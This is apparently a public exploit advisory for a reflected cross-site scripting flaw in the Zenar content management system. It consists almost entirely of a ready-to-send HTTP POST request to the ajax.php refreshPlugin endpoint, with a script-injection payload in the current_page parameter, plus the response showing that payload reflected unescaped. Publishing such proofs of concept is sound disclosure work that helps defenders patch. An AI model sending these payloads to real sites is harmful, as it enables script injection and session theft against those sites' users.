Zenar Content Management System Cross Site Scripting

`# Exploit Title: Zenar Content Management System - Cross-Site Scripting  
# Software Link: https://zenar.io/  
# Dork: N/A  
# Author: Berk Dusunur  
# Tested Website: http://demo.zenar.io  
# Date: 2018-05-20  
# Category: Web App  
  
# PoC  
  
# GET Request:  
  
POST /zenario/ajax.php?method_call=refreshPlugin&inIframe=true HTTP/1.1  
Host: demo.zenar.io  
Cache-Control: no-cache  
Connection: Keep-Alive  
Accept: text/plain, */*; q=0.01  
Origin: http://demo.zenar.io  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36  
X-Requested-With: XMLHttpRequest  
Referer: http://demo.zenar.io/enquiries/newsletter-sign-up  
Accept-Language: en-us,en;q=0.5  
X-Scanner: Netsparker  
Cookie: PHPSESSID=27pdf3fd0plfnarmh5edk5es33  
Accept-Encoding: gzip, deflate  
Content-Length: 273  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
  
cID=25&slideId=3&cType=html&slotName=Slot_Main_2&instanceId=143&containerId=plgslt_Slot_Main_2&formPageHash=35263a7d5401cb22f77e67fb50fcdd99&reloaded=1&inFullScreen=3&field_14=netsparker%40example.com&current_page='"--></style></scRipt><scRipt>alert(EZK)</scRipt>  
  
# Response:  
  
<input type="hidden" name="formPageHash"  
value="35263a7d5401cb22f77e67fb50fcdd99"/><input type="hidden"  
name="reloaded" value="1"/><input type="hidden" name="inFullScreen"  
value="1"/><fieldset  
id="plgslt_Slot_Main_2_page_'"--></style></scRipt><scRipt>alert(EZK)</scRipt>"  
class="page_"><div class="form_fields"></div><div  
class="form_buttons"><input type="button" value=""  
class="next"/></div>  
  
`